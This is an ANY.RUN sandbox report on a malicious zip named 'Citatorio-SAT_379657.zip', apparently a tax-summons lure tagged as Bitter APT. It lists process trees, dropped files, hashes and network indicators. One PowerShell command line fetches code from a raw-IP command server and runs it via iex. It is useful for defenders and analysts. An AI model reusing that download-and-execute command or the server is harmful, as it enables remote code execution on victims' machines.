File name:

Citatorio-SAT_379657.zip

Full analysis: https://app.any.run/tasks/834863cb-3610-43d3-80c7-e5407402ba57
Verdict: Malicious activity
Analysis date: September 20, 2024, 15:07:45
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
apt
bitter
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=deflate
MD5:

A02530CBC53BD282ECF23D3EA7D2E75A

SHA1:

914A1A91F95F8164E4C0E337AC62DEF834B46E2F

SHA256:

CC74D3F13943F89F87E9CCABFF0E90BD2E730F0503B5E7C1557CD4C8863FA05C

SSDEEP:

98304:06BS1RiQsbWMwaHFGzzd33pIjIwytcRp8u+dqo86vudkWGk54Hmttwgz5jOsBS7S:yzs85g7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Connects to the CnC server

      • powershell.exe (PID: 4296)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • Citatorio-SAT_379657.exe (PID: 7044)
      • WinRAR.exe (PID: 1792)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Found IP address in command line

      • powershell.exe (PID: 4296)
      • powershell.exe (PID: 6764)

    • Request a resource from the Internet using PowerShell's cmdlet

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Possibly malicious use of IEX has been detected

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Starts POWERSHELL.EXE for commands execution

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Executing commands from a ".bat" file

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Starts CMD.EXE for commands execution

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Executes application which crashes

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 964)
      • cmd.exe (PID: 4472)

  • INFO

    • Manual execution by a user

      • Citatorio-SAT_379657.exe (PID: 7044)
      • WinRAR.exe (PID: 2452)
      • WinRAR.exe (PID: 1792)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2452)
      • WinRAR.exe (PID: 1792)

    • The process uses the downloaded file

      • WinRAR.exe (PID: 2452)
      • Citatorio-SAT_379657.exe (PID: 7044)
      • WinRAR.exe (PID: 1792)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Checks supported languages

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Reads the computer name

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Process checks computer location settings

      • Citatorio-SAT_379657.exe (PID: 7044)
      • Citatorio-SAT_379657.exe (PID: 6300)

    • Disables trace logs

      • powershell.exe (PID: 4296)

    • Create files in a temporary directory

      • WerFault.exe (PID: 5364)
      • Citatorio-SAT_379657.exe (PID: 6300)
      • WerFault.exe (PID: 6260)

    • Checks proxy server information

      • powershell.exe (PID: 4296)
      • WerFault.exe (PID: 5364)

    • Reads Internet Explorer settings

      • powershell.exe (PID: 4296)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4296)

    • Creates files or folders in the user directory

      • WerFault.exe (PID: 5364)

    • Reads the software policy settings

      • WerFault.exe (PID: 5364)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0002
ZipCompression: Deflated
ZipModifyDate: 2024:09:20 09:34:56
ZipCRC: 0xd44c0493
ZipCompressedSize: 2196859
ZipUncompressedSize: 3344361
ZipFileName: g2m.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
148
Monitored processes
27
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs winrar.exe citatorio-sat_379657.exe powershell.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs werfault.exe choice.exe no specs taskkill.exe no specs choice.exe no specs taskkill.exe no specs choice.exe no specs taskkill.exe no specs choice.exe no specs choice.exe no specs winrar.exe citatorio-sat_379657.exe powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs werfault.exe no specs choice.exe no specs choice.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
964C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\Citatorio-SAT_379657.bat" "C:\Windows\SysWOW64\cmd.exe—Citatorio-SAT_379657.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1612\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1792"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\Citatorio-SAT_379657.zip"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2108choice /n /d y /t 2 C:\Windows\SysWOW64\choice.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Offers the user a choice
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\choice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
2452"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\Citatorio-SAT_379657.zip" C:\Users\admin\Desktop\C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3784choice /n /d y /t 2 C:\Windows\SysWOW64\choice.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Offers the user a choice
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\choice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
3904choice /n /d y /t 2 C:\Windows\SysWOW64\choice.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Offers the user a choice
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\choice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\user32.dll
3972choice /n /d y /t 2 C:\Windows\SysWOW64\choice.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Offers the user a choice
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\choice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4296"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = iwr -Uri "http://64.7.199.226/ttt/index.php?id=10";iex $a.Content;C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Citatorio-SAT_379657.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4472C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$EXa1792.24810\Citatorio-SAT_379657.bat" "C:\Windows\SysWOW64\cmd.exe—Citatorio-SAT_379657.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
Total events
15 438
Read events
15 399
Write events
39
Delete events
0

Modification events

(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\GoogleChromeEnterpriseBundle64.zip
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\Citatorio-SAT_379657.zip
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\MainWin
Operation:writeName:Placement
Value:
2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D0000002D000000FD03000016020000
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:name
Value:
256
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(6372) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\ArcColumnWidths
Operation:writeName:psize
Value:
80
Executable files
4
Suspicious files
4
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
5364WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_Citatorio-SAT_37_0d9aeb8c3d78598e7f326ba658e2dd1d4113258_001e3d61_bc3bf3e9-cacb-4d7c-9e9b-d264b14d9f1e\Report.wer —
MD5:—
SHA256:—
4296powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dcp1dz2v.kwb.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6260WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_bad_module_info_f5b4a6202a53ee73c263cc4c99e711b13cd935ac_85207d7d_7fa71018-ed88-409c-8586-410f0dd8a6b4\Report.wer —
MD5:—
SHA256:—
2452WinRAR.exeC:\Users\admin\Desktop\g2m.dllexecutable
MD5:AB29036C8A1E28855D75D5ECBF4B1C90
SHA256:6C9B30E7677BF348264E5A754190DBC126AA208C77F1F47A680C23AC08C928CB
6764powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_r4oib3cp.qso.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1792WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa1792.24810\Citatorio-SAT_379657.exeexecutable
MD5:2BD61EE91994B3E9F9EBC002498D02EA
SHA256:07762231DA2A8CE1DD2A211C49A27A2F06D7D2B7D5426FC5B6B114F845F1ECA6
4296powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:F0A3B4EC7FEEF55DE1AB63C24A99A4D1
SHA256:0713D55EF888831D1DBDF2929E5FAE5ABBC2FA9DA64A87B0CA7B13E07E4B4A15
6260WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WERCFD9.tmp.WERInternalMetadata.xmlxml
MD5:AA2E116EAF25E9A8155E5CD933CB0CD3
SHA256:C2E4E6C0F7803EA74B883190DD64700C08289667E5C1E303CBAD78F9D58F4E49
6260WerFault.exeC:\Users\admin\AppData\Local\Temp\WERC009.tmp.WERDataCollectionStatus.txttext
MD5:7E60DCC7508AB6FF68CB86E09D49A9D3
SHA256:AD6C10057DC387A2989860CB4EF37D708852BD4E1C069B09426747D05B529E96
6300Citatorio-SAT_379657.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa1792.24810\Citatorio-SAT_379657.battext
MD5:BB35DDD1F1D3DC969F27CB52887AE4DE
SHA256:BF1640CA9F0FB64DB539380C40604AF3DF8B7EB4A4B8B9384AA948718A7EA6F0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
15
DNS requests
6
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4296
powershell.exe
GET
404
64.7.199.226:80
http://64.7.199.226/ttt/index.php?id=10
unknown
—
—
unknown
3180
svchost.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5364
WerFault.exe
GET
200
92.122.17.157:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
404
64.7.199.226:80
http://64.7.199.226/ttt/index.php?id=10
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
3180
svchost.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
3180
svchost.exe
51.11.168.232:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
GB
whitelisted
4296
powershell.exe
64.7.199.226:80
—
—
US
unknown
5364
WerFault.exe
52.168.117.173:443
watson.events.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
5364
WerFault.exe
92.122.17.157:80
www.microsoft.com
AKAMAI-AS
RO
whitelisted
—
—
64.7.199.226:80
—
—
US
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.11.168.232
whitelisted
www.microsoft.com
  • 88.221.169.152
  • 92.122.17.157
whitelisted
google.com
  • 216.58.206.78
whitelisted
watson.events.data.microsoft.com
  • 52.168.117.173
whitelisted

Threats

PID
Process
Class
Message
4296
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Citatorio-SAT_379657.zip